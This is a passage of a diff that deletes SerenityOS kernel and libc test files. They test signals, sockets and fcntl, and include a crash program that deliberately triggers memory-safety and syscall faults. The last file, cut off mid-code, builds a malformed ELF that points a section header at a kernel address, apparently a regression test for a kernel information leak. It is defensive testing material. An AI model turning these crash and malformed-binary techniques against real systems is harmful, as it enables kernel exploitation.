||||
} else {
|
||||
siginfo_t info;
|
||||
struct timespec timeout = { .tv_sec = 2, .tv_nsec = 0 };
|
||||
rc = sigtimedwait(&mask, &info, &timeout);
|
||||
EXPECT_EQ(rc, SIGUSR1);
|
||||
EXPECT_EQ(info.si_signo, SIGUSR1);
|
||||
}
|
||||
|
||||
// cancel pending signal
|
||||
struct sigaction act_ignore = { { SIG_IGN }, 0, 0 };
|
||||
rc = sigaction(SIGUSR1, &act_ignore, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = sigprocmask(SIG_UNBLOCK, &mask, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
struct sigaction act_default = { { SIG_DFL }, 0, 0 };
|
||||
rc = sigaction(SIGUSR1, &act_default, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
sigset_t pending;
|
||||
rc = sigpending(&pending);
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_EQ(pending, 0u);
|
||||
}
|
||||
|
||||
TEST_CASE(sigtimedwait_poll)
|
||||
{
|
||||
sigset_t mask;
|
||||
|
||||
int rc = sigemptyset(&mask);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = sigaddset(&mask, SIGUSR1);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = sigprocmask(SIG_BLOCK, &mask, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
struct timespec poll_timeout = { .tv_sec = 0, .tv_nsec = 0 };
|
||||
rc = sigtimedwait(&mask, nullptr, &poll_timeout);
|
||||
EXPECT_EQ(rc, -1);
|
||||
EXPECT_EQ(errno, EAGAIN);
|
||||
|
||||
kill(getpid(), SIGUSR1);
|
||||
|
||||
siginfo_t info;
|
||||
rc = sigtimedwait(&mask, &info, &poll_timeout);
|
||||
EXPECT_EQ(rc, SIGUSR1);
|
||||
EXPECT_EQ(info.si_signo, SIGUSR1);
|
||||
|
||||
// cancel pending signal
|
||||
struct sigaction act_ignore = { { SIG_IGN }, 0, 0 };
|
||||
rc = sigaction(SIGUSR1, &act_ignore, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = sigprocmask(SIG_UNBLOCK, &mask, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
struct sigaction act_default = { { SIG_DFL }, 0, 0 };
|
||||
rc = sigaction(SIGUSR1, &act_default, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
sigset_t pending;
|
||||
rc = sigpending(&pending);
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_EQ(pending, 0u);
|
||||
}
|
||||
|
||||
TEST_CASE(sigtimedwait_timeout)
|
||||
{
|
||||
sigset_t mask;
|
||||
int rc = sigemptyset(&mask);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = sigaddset(&mask, SIGUSR1);
|
||||
EXPECT_EQ(rc, 0);
|
||||
struct timespec timeout = { .tv_sec = 1, .tv_nsec = 0 };
|
||||
rc = sigtimedwait(&mask, nullptr, &timeout);
|
||||
EXPECT_EQ(rc, -1);
|
||||
EXPECT_EQ(errno, EAGAIN);
|
||||
}
|
|
@ -1,172 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2023, Idan Horowitz <idan.horowitz@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/JsonArray.h>
|
||||
#include <LibCore/File.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <netinet/in.h>
|
||||
#include <pthread.h>
|
||||
#include <semaphore.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
static constexpr u16 port = 1337;
|
||||
|
||||
static void* server_handler(void* accept_semaphore)
|
||||
{
|
||||
int server_fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
EXPECT(server_fd >= 0);
|
||||
|
||||
sockaddr_in sin {};
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(port);
|
||||
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
int rc = bind(server_fd, (sockaddr*)(&sin), sizeof(sin));
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = listen(server_fd, 1);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = sem_post(reinterpret_cast<sem_t*>(accept_semaphore));
|
||||
VERIFY(rc == 0);
|
||||
|
||||
int client_fd = accept(server_fd, nullptr, nullptr);
|
||||
EXPECT(client_fd >= 0);
|
||||
|
||||
u8 data;
|
||||
int nread = recv(client_fd, &data, sizeof(data), 0);
|
||||
EXPECT_EQ(nread, 1);
|
||||
EXPECT_EQ(data, 'A');
|
||||
|
||||
rc = close(client_fd);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = close(server_fd);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
pthread_exit(nullptr);
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
|
||||
static pthread_t start_tcp_server()
|
||||
{
|
||||
pthread_t thread;
|
||||
sem_t accept_semaphore;
|
||||
|
||||
int rc = sem_init(&accept_semaphore, 0, 0);
|
||||
VERIFY(rc == 0);
|
||||
rc = pthread_create(&thread, nullptr, server_handler, &accept_semaphore);
|
||||
VERIFY(rc == 0);
|
||||
rc = sem_wait(&accept_semaphore);
|
||||
VERIFY(rc == 0);
|
||||
rc = sem_destroy(&accept_semaphore);
|
||||
VERIFY(rc == 0);
|
||||
return thread;
|
||||
}
|
||||
|
||||
TEST_CASE(tcp_sendto)
|
||||
{
|
||||
pthread_t server = start_tcp_server();
|
||||
|
||||
int client_fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
EXPECT(client_fd >= 0);
|
||||
|
||||
sockaddr_in sin {};
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(port);
|
||||
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
int rc = connect(client_fd, (sockaddr*)(&sin), sizeof(sin));
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
u8 data = 'A';
|
||||
sockaddr_in dst {};
|
||||
dst.sin_family = AF_INET;
|
||||
dst.sin_port = htons(port + 1); // Different port, should be ignored
|
||||
dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
int nwritten = sendto(client_fd, &data, sizeof(data), 0, (sockaddr*)(&dst), sizeof(dst));
|
||||
EXPECT_EQ(nwritten, 1);
|
||||
|
||||
rc = close(client_fd);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = pthread_join(server, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
}
|
||||
|
||||
TEST_CASE(tcp_bind_connect)
|
||||
{
|
||||
pthread_t server = start_tcp_server();
|
||||
|
||||
int client_fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
EXPECT(client_fd >= 0);
|
||||
|
||||
sockaddr_in sin {};
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(port - 1);
|
||||
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
int rc = bind(client_fd, (sockaddr*)(&sin), sizeof(sin));
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
sockaddr_in dst {};
|
||||
dst.sin_family = AF_INET;
|
||||
dst.sin_port = htons(port);
|
||||
dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
rc = connect(client_fd, (sockaddr*)(&dst), sizeof(dst));
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
u8 data = 'A';
|
||||
int nwritten = send(client_fd, &data, sizeof(data), 0);
|
||||
EXPECT_EQ(nwritten, 1);
|
||||
|
||||
rc = close(client_fd);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = pthread_join(server, nullptr);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
// Hacky check to make sure there are no registered TCP sockets, if the sockets were closed properly, there should
|
||||
// be none left, but if the early-bind caused a desync in sockets_by_tuple a UAF'd socket will be left in there.
|
||||
// NOTE: We have to loop since the TimedWait stage during socket close means the socket might not close immediately
|
||||
// after our close(2) call. This also means that on failure we will loop here forever.
|
||||
while (true) {
|
||||
auto file = MUST(Core::File::open("/sys/kernel/net/tcp"sv, Core::File::OpenMode::Read));
|
||||
auto file_contents = MUST(file->read_until_eof());
|
||||
auto json = MUST(JsonValue::from_string(file_contents));
|
||||
EXPECT(json.is_array());
|
||||
if (json.as_array().size() == 0)
|
||||
return;
|
||||
sched_yield();
|
||||
}
|
||||
}
|
||||
|
||||
TEST_CASE(socket_connect_after_bind)
|
||||
{
|
||||
unlink("/tmp/tmp-client.test");
|
||||
unlink("/tmp/tmp.test");
|
||||
|
||||
int fd = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
EXPECT(fd >= 0);
|
||||
|
||||
struct sockaddr_un addr {
|
||||
.sun_family = AF_UNIX,
|
||||
.sun_path = "/tmp/tmp-client.test",
|
||||
};
|
||||
|
||||
int bound = bind(fd, (struct sockaddr*)&addr, sizeof(addr));
|
||||
EXPECT_NE(bound, -1);
|
||||
|
||||
struct sockaddr_un server_sockaddr {
|
||||
.sun_family = AF_UNIX,
|
||||
.sun_path = "/tmp/tmp.test",
|
||||
};
|
||||
int connected = connect(fd, (struct sockaddr*)&server_sockaddr, sizeof(server_sockaddr));
|
||||
EXPECT_EQ(connected, -1);
|
||||
|
||||
int closed = close(fd);
|
||||
EXPECT_EQ(closed, 0);
|
||||
|
||||
unlink("/tmp/tmp-client.test");
|
||||
unlink("/tmp/tmp.test");
|
||||
}
|
|
@ -1,41 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Assertions.h>
|
||||
#include <errno.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
constexpr char const* path = "/tmp/foo";
|
||||
int rc = symlink("bar", path);
|
||||
if (rc < 0) {
|
||||
perror("symlink");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int fd = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
if (fd < 0) {
|
||||
perror("socket");
|
||||
return 1;
|
||||
}
|
||||
|
||||
struct sockaddr_un addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sun_family = AF_UNIX;
|
||||
VERIFY(strlcpy(addr.sun_path, path, sizeof(addr.sun_path)) < sizeof(addr.sun_path));
|
||||
|
||||
rc = bind(fd, (struct sockaddr*)(&addr), sizeof(addr));
|
||||
if (rc < 0 && errno == EADDRINUSE) {
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
|
@ -1,26 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <assert.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
int rc = fcntl(0, -42);
|
||||
if (rc != -1) {
|
||||
printf("FAIL: rc was %d, instead of -1\n", rc);
|
||||
return 1;
|
||||
} else if (errno != EINVAL) {
|
||||
printf("FAIL: errno was %d, instead of EINVAL=%d\n", errno, EINVAL);
|
||||
return 1;
|
||||
} else {
|
||||
printf("PASS\n");
|
||||
}
|
||||
return 0;
|
||||
}
|
|
@ -1,348 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, Andreas Kling <kling@serenityos.org>
|
||||
* Copyright (c) 2019-2020, Shannon Booth <shannon@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Assertions.h>
|
||||
#include <AK/ByteString.h>
|
||||
#include <AK/Function.h>
|
||||
#if ARCH(X86_64)
|
||||
# include <Kernel/Arch/x86_64/IO.h>
|
||||
#endif
|
||||
#include <LibCore/ArgsParser.h>
|
||||
#include <LibCore/EventReceiver.h>
|
||||
#include <LibTest/CrashTest.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/wait.h>
|
||||
#include <syscall.h>
|
||||
#include <unistd.h>
|
||||
|
||||
using Test::Crash;
|
||||
|
||||
#if defined(AK_COMPILER_CLANG)
|
||||
# pragma clang optimize off
|
||||
#else
|
||||
# pragma GCC optimize("O0")
|
||||
#endif
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
Vector<StringView> arguments;
|
||||
arguments.ensure_capacity(argc);
|
||||
for (auto i = 0; i < argc; ++i)
|
||||
arguments.append({ argv[i], strlen(argv[i]) });
|
||||
|
||||
bool do_all_crash_types = false;
|
||||
bool do_segmentation_violation = false;
|
||||
bool do_division_by_zero = false;
|
||||
bool do_illegal_instruction = false;
|
||||
bool do_abort = false;
|
||||
bool do_write_to_uninitialized_malloc_memory = false;
|
||||
bool do_write_to_freed_memory = false;
|
||||
bool do_write_to_read_only_memory = false;
|
||||
bool do_read_from_uninitialized_malloc_memory = false;
|
||||
bool do_read_from_freed_memory = false;
|
||||
bool do_invalid_stack_pointer_on_syscall = false;
|
||||
bool do_invalid_stack_pointer_on_page_fault = false;
|
||||
bool do_syscall_from_writeable_memory = false;
|
||||
bool do_legitimate_syscall = false;
|
||||
bool do_execute_non_executable_memory = false;
|
||||
bool do_trigger_user_mode_instruction_prevention = false;
|
||||
#if ARCH(X86_64)
|
||||
bool do_use_io_instruction = false;
|
||||
#endif
|
||||
bool do_pledge_violation = false;
|
||||
bool do_failing_assertion = false;
|
||||
bool do_deref_null_refptr = false;
|
||||
|
||||
auto args_parser = Core::ArgsParser();
|
||||
args_parser.set_general_help(
|
||||
"Exercise error-handling paths of the execution environment "
|
||||
"(i.e., Kernel or UE) by crashing in many different ways.");
|
||||
args_parser.add_option(do_all_crash_types, "Test that all (except -U) of the following crash types crash as expected (default behavior)", nullptr, 'A');
|
||||
args_parser.add_option(do_segmentation_violation, "Perform a segmentation violation by dereferencing an invalid pointer", nullptr, 's');
|
||||
args_parser.add_option(do_division_by_zero, "Perform a division by zero", nullptr, 'd');
|
||||
args_parser.add_option(do_illegal_instruction, "Execute an illegal CPU instruction", nullptr, 'i');
|
||||
args_parser.add_option(do_abort, "Call `abort()`", nullptr, 'a');
|
||||
args_parser.add_option(do_read_from_uninitialized_malloc_memory, "Read a pointer from uninitialized malloc memory, then read from it", nullptr, 'm');
|
||||
args_parser.add_option(do_read_from_freed_memory, "Read a pointer from memory freed using `free()`, then read from it", nullptr, 'f');
|
||||
args_parser.add_option(do_write_to_uninitialized_malloc_memory, "Read a pointer from uninitialized malloc memory, then write to it", nullptr, 'M');
|
||||
args_parser.add_option(do_write_to_freed_memory, "Read a pointer from memory freed using `free()`, then write to it", nullptr, 'F');
|
||||
args_parser.add_option(do_write_to_read_only_memory, "Write to read-only memory", nullptr, 'r');
|
||||
args_parser.add_option(do_invalid_stack_pointer_on_syscall, "Make a syscall while using an invalid stack pointer", nullptr, 'T');
|
||||
args_parser.add_option(do_invalid_stack_pointer_on_page_fault, "Trigger a page fault while using an invalid stack pointer", nullptr, 't');
|
||||
args_parser.add_option(do_syscall_from_writeable_memory, "Make a syscall from writeable memory", nullptr, 'S');
|
||||
args_parser.add_option(do_legitimate_syscall, "Make a syscall from legitimate memory (but outside syscall-code mapped region)", nullptr, 'y');
|
||||
args_parser.add_option(do_execute_non_executable_memory, "Attempt to execute non-executable memory (not mapped with PROT_EXEC)", nullptr, 'X');
|
||||
args_parser.add_option(do_trigger_user_mode_instruction_prevention, "Attempt to trigger an x86 User Mode Instruction Prevention fault. WARNING: This test runs only when invoked manually, see #10042.", nullptr, 'U');
|
||||
#if ARCH(X86_64)
|
||||
args_parser.add_option(do_use_io_instruction, "Use an x86 I/O instruction in userspace", nullptr, 'I');
|
||||
#endif
|
||||
args_parser.add_option(do_pledge_violation, "Violate pledge()'d promises", nullptr, 'p');
|
||||
args_parser.add_option(do_failing_assertion, "Perform a failing assertion", nullptr, 'n');
|
||||
args_parser.add_option(do_deref_null_refptr, "Dereference a null RefPtr", nullptr, 'R');
|
||||
|
||||
if (argc == 1) {
|
||||
do_all_crash_types = true;
|
||||
} else if (argc != 2) {
|
||||
args_parser.print_usage(stderr, arguments[0]);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
args_parser.parse(arguments);
|
||||
|
||||
Crash::RunType run_type = do_all_crash_types ? Crash::RunType::UsingChildProcess
|
||||
: Crash::RunType::UsingCurrentProcess;
|
||||
bool any_failures = false;
|
||||
|
||||
if (do_segmentation_violation || do_all_crash_types) {
|
||||
any_failures |= !Crash("Segmentation violation", []() {
|
||||
int volatile* crashme = nullptr;
|
||||
*crashme = 0xbeef;
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_division_by_zero || do_all_crash_types) {
|
||||
any_failures |= !Crash("Division by zero", []() {
|
||||
int volatile lala = 10;
|
||||
int volatile zero = 0;
|
||||
[[maybe_unused]] int volatile test = lala / zero;
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_illegal_instruction || do_all_crash_types) {
|
||||
any_failures |= !Crash("Illegal instruction", []() {
|
||||
__builtin_trap();
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_abort || do_all_crash_types) {
|
||||
any_failures |= !Crash("Abort", []() {
|
||||
abort();
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_read_from_uninitialized_malloc_memory || do_all_crash_types) {
|
||||
any_failures |= !Crash("Read from uninitialized malloc memory", []() {
|
||||
auto* uninitialized_memory = (u32 volatile**)malloc(1024);
|
||||
if (!uninitialized_memory)
|
||||
return Crash::Failure::UnexpectedError;
|
||||
|
||||
[[maybe_unused]] auto volatile x = uninitialized_memory[0][0];
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_read_from_freed_memory || do_all_crash_types) {
|
||||
any_failures |= !Crash("Read from freed memory", []() {
|
||||
auto* uninitialized_memory = (u32 volatile**)malloc(1024);
|
||||
if (!uninitialized_memory)
|
||||
return Crash::Failure::UnexpectedError;
|
||||
|
||||
free(uninitialized_memory);
|
||||
#pragma GCC diagnostic push
|
||||
#pragma GCC diagnostic ignored "-Wuse-after-free"
|
||||
[[maybe_unused]] auto volatile x = uninitialized_memory[4][0];
|
||||
#pragma GCC diagnostic pop
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_write_to_uninitialized_malloc_memory || do_all_crash_types) {
|
||||
any_failures |= !Crash("Write to uninitialized malloc memory", []() {
|
||||
auto* uninitialized_memory = (u32 volatile**)malloc(1024);
|
||||
if (!uninitialized_memory)
|
||||
return Crash::Failure::UnexpectedError;
|
||||
|
||||
uninitialized_memory[4][0] = 1;
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_write_to_freed_memory || do_all_crash_types) {
|
||||
any_failures |= !Crash("Write to freed memory", []() {
|
||||
auto* uninitialized_memory = (u32 volatile**)malloc(1024);
|
||||
if (!uninitialized_memory)
|
||||
return Crash::Failure::UnexpectedError;
|
||||
|
||||
#pragma GCC diagnostic push
|
||||
#pragma GCC diagnostic ignored "-Wuse-after-free"
|
||||
free(uninitialized_memory);
|
||||
uninitialized_memory[4][0] = 1;
|
||||
#pragma GCC diagnostic pop
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_write_to_read_only_memory || do_all_crash_types) {
|
||||
any_failures |= !Crash("Write to read only memory", []() {
|
||||
auto* ptr = (u8*)mmap(nullptr, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, 0, 0);
|
||||
if (ptr == MAP_FAILED)
|
||||
return Crash::Failure::UnexpectedError;
|
||||
|
||||
*ptr = 'x'; // This should work fine.
|
||||
int rc = mprotect(ptr, 4096, PROT_READ);
|
||||
if (rc != 0 || *ptr != 'x')
|
||||
return Crash::Failure::UnexpectedError;
|
||||
|
||||
*ptr = 'y'; // This should crash!
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_invalid_stack_pointer_on_syscall || do_all_crash_types) {
|
||||
any_failures |= !Crash("Invalid stack pointer on syscall", []() {
|
||||
u8* makeshift_stack = (u8*)mmap(nullptr, 0, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_STACK, 0, 0);
|
||||
if (!makeshift_stack)
|
||||
return Crash::Failure::UnexpectedError;
|
||||
|
||||
u8* makeshift_esp = makeshift_stack + 2048;
|
||||
#if ARCH(X86_64)
|
||||
asm volatile("mov %%eax, %%esp" ::"a"(makeshift_esp));
|
||||
#elif ARCH(AARCH64)
|
||||
(void)makeshift_esp;
|
||||
TODO_AARCH64();
|
||||
#elif ARCH(RISCV64)
|
||||
(void)makeshift_esp;
|
||||
TODO_RISCV64();
|
||||
#else
|
||||
# error Unknown architecture
|
||||
#endif
|
||||
getuid();
|
||||
dbgln("Survived syscall with MAP_STACK stack");
|
||||
|
||||
u8* bad_stack = (u8*)mmap(nullptr, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
if (!bad_stack)
|
||||
return Crash::Failure::UnexpectedError;
|
||||
|
||||
u8* bad_esp = bad_stack + 2048;
|
||||
#if ARCH(X86_64)
|
||||
asm volatile("mov %%eax, %%esp" ::"a"(bad_esp));
|
||||
#elif ARCH(AARCH64)
|
||||
(void)bad_esp;
|
||||
TODO_AARCH64();
|
||||
#elif ARCH(RISCV64)
|
||||
(void)bad_esp;
|
||||
TODO_RISCV64();
|
||||
#else
|
||||
# error Unknown architecture
|
||||
#endif
|
||||
getuid();
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_invalid_stack_pointer_on_page_fault || do_all_crash_types) {
|
||||
any_failures |= !Crash("Invalid stack pointer on page fault", []() {
|
||||
u8* bad_stack = (u8*)mmap(nullptr, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
if (!bad_stack)
|
||||
return Crash::Failure::UnexpectedError;
|
||||
|
||||
u8* bad_esp = bad_stack + 2048;
|
||||
#if ARCH(X86_64)
|
||||
asm volatile("movq %%rax, %%rsp" ::"a"(bad_esp));
|
||||
asm volatile("pushq $0");
|
||||
#elif ARCH(AARCH64)
|
||||
(void)bad_esp;
|
||||
TODO_AARCH64();
|
||||
#elif ARCH(RISCV64)
|
||||
(void)bad_esp;
|
||||
TODO_RISCV64();
|
||||
#else
|
||||
# error Unknown architecture
|
||||
#endif
|
||||
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_syscall_from_writeable_memory || do_all_crash_types) {
|
||||
any_failures |= !Crash("Syscall from writable memory", []() {
|
||||
u8 buffer[] = { 0xb8, Syscall::SC_getuid, 0, 0, 0, 0xcd, 0x82 };
|
||||
((void (*)())buffer)();
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_legitimate_syscall || do_all_crash_types) {
|
||||
any_failures |= !Crash("Regular syscall from outside syscall-code mapped region", []() {
|
||||
// Since 'crash' is dynamically linked, and DynamicLoader only allows LibSystem to make syscalls, this should kill us:
|
||||
Syscall::invoke(Syscall::SC_getuid);
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_execute_non_executable_memory || do_all_crash_types) {
|
||||
any_failures |= !Crash("Execute non executable memory", []() {
|
||||
auto* ptr = (u8*)mmap(nullptr, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
if (ptr == MAP_FAILED)
|
||||
return Crash::Failure::UnexpectedError;
|
||||
|
||||
ptr[0] = 0xc3; // ret
|
||||
typedef void* (*CrashyFunctionPtr)();
|
||||
((CrashyFunctionPtr)ptr)();
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_trigger_user_mode_instruction_prevention) {
|
||||
any_failures |= !Crash("Trigger x86 User Mode Instruction Prevention", []() {
|
||||
#if ARCH(X86_64)
|
||||
asm volatile("str %eax");
|
||||
#elif ARCH(AARCH64)
|
||||
TODO_AARCH64();
|
||||
#elif ARCH(RISCV64)
|
||||
TODO_RISCV64();
|
||||
#else
|
||||
# error Unknown architecture
|
||||
#endif
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
#if ARCH(X86_64)
|
||||
if (do_use_io_instruction || do_all_crash_types) {
|
||||
any_failures |= !Crash("Attempt to use an I/O instruction", [] {
|
||||
u8 keyboard_status = IO::in8(0x64);
|
||||
outln("Keyboard status: {:#02x}", keyboard_status);
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
#endif
|
||||
|
||||
if (do_pledge_violation || do_all_crash_types) {
|
||||
any_failures |= !Crash("Violate pledge()'d promises", [] {
|
||||
if (pledge("", nullptr) < 0) {
|
||||
perror("pledge");
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}
|
||||
outln("Didn't pledge 'stdio', this should fail!");
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_failing_assertion || do_all_crash_types) {
|
||||
any_failures |= !Crash("Perform a failing assertion", [] {
|
||||
VERIFY(1 == 2);
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
if (do_deref_null_refptr || do_all_crash_types) {
|
||||
any_failures |= !Crash("Dereference a null RefPtr", [] {
|
||||
RefPtr<Core::EventReceiver> p;
|
||||
*p;
|
||||
return Crash::Failure::DidNotCrash;
|
||||
}).run(run_type);
|
||||
}
|
||||
|
||||
return any_failures;
|
||||
}
|
|
@ -1,141 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <elf.h>
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
bool volatile hax = false;
|
||||
|
||||
int main()
|
||||
{
|
||||
char buffer[16384];
|
||||
|
||||
auto& header = *(Elf32_Ehdr*)buffer;
|
||||
header.e_ident[EI_MAG0] = ELFMAG0;
|
||||
header.e_ident[EI_MAG1] = ELFMAG1;
|
||||
header.e_ident[EI_MAG2] = ELFMAG2;
|
||||
header.e_ident[EI_MAG3] = ELFMAG3;
|
||||
header.e_ident[EI_CLASS] = ELFCLASS32;
|
||||
header.e_ident[EI_DATA] = ELFDATA2LSB;
|
||||
header.e_ident[EI_VERSION] = EV_CURRENT;
|
||||
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
|
||||
header.e_ident[EI_ABIVERSION] = 0;
|
||||
header.e_type = ET_EXEC;
|
||||
header.e_version = EV_CURRENT;
|
||||
header.e_ehsize = sizeof(Elf32_Ehdr);
|
||||
header.e_machine = EM_386;
|
||||
header.e_shentsize = sizeof(Elf32_Shdr);
|
||||
|
||||
header.e_phnum = 1;
|
||||
header.e_phoff = 52;
|
||||
header.e_phentsize = sizeof(Elf32_Phdr);
|
||||
|
||||
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
|
||||
ph[0].p_vaddr = 0x20000000;
|
||||
ph[0].p_type = PT_LOAD;
|
||||
ph[0].p_filesz = sizeof(buffer);
|
||||
ph[0].p_memsz = sizeof(buffer);
|
||||
ph[0].p_flags = PF_R | PF_W;
|
||||
ph[0].p_align = PAGE_SIZE;
|
||||
|
||||
header.e_shnum = 3;
|
||||
header.e_shoff = 1024;
|
||||
|
||||
u32 secret_address = 0x00184658;
|
||||
|
||||
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
|
||||
sh[0].sh_type = SHT_SYMTAB;
|
||||
sh[0].sh_offset = 2048;
|
||||
sh[0].sh_entsize = sizeof(Elf32_Sym);
|
||||
sh[0].sh_size = 1 * sizeof(Elf32_Sym);
|
||||
|
||||
sh[1].sh_type = SHT_STRTAB;
|
||||
sh[1].sh_offset = secret_address - 0x01001000;
|
||||
sh[1].sh_entsize = 0;
|
||||
sh[1].sh_size = 1024;
|
||||
|
||||
sh[2].sh_type = SHT_STRTAB;
|
||||
sh[2].sh_offset = 4096;
|
||||
sh[2].sh_entsize = 0;
|
||||
sh[2].sh_size = 1024;
|
||||
header.e_shstrndx = 2;
|
||||
|
||||
auto* sym = (Elf32_Sym*)(&buffer[2048]);
|
||||
sym[0].st_value = 0;
|
||||
sym[0].st_name = 0;
|
||||
|
||||
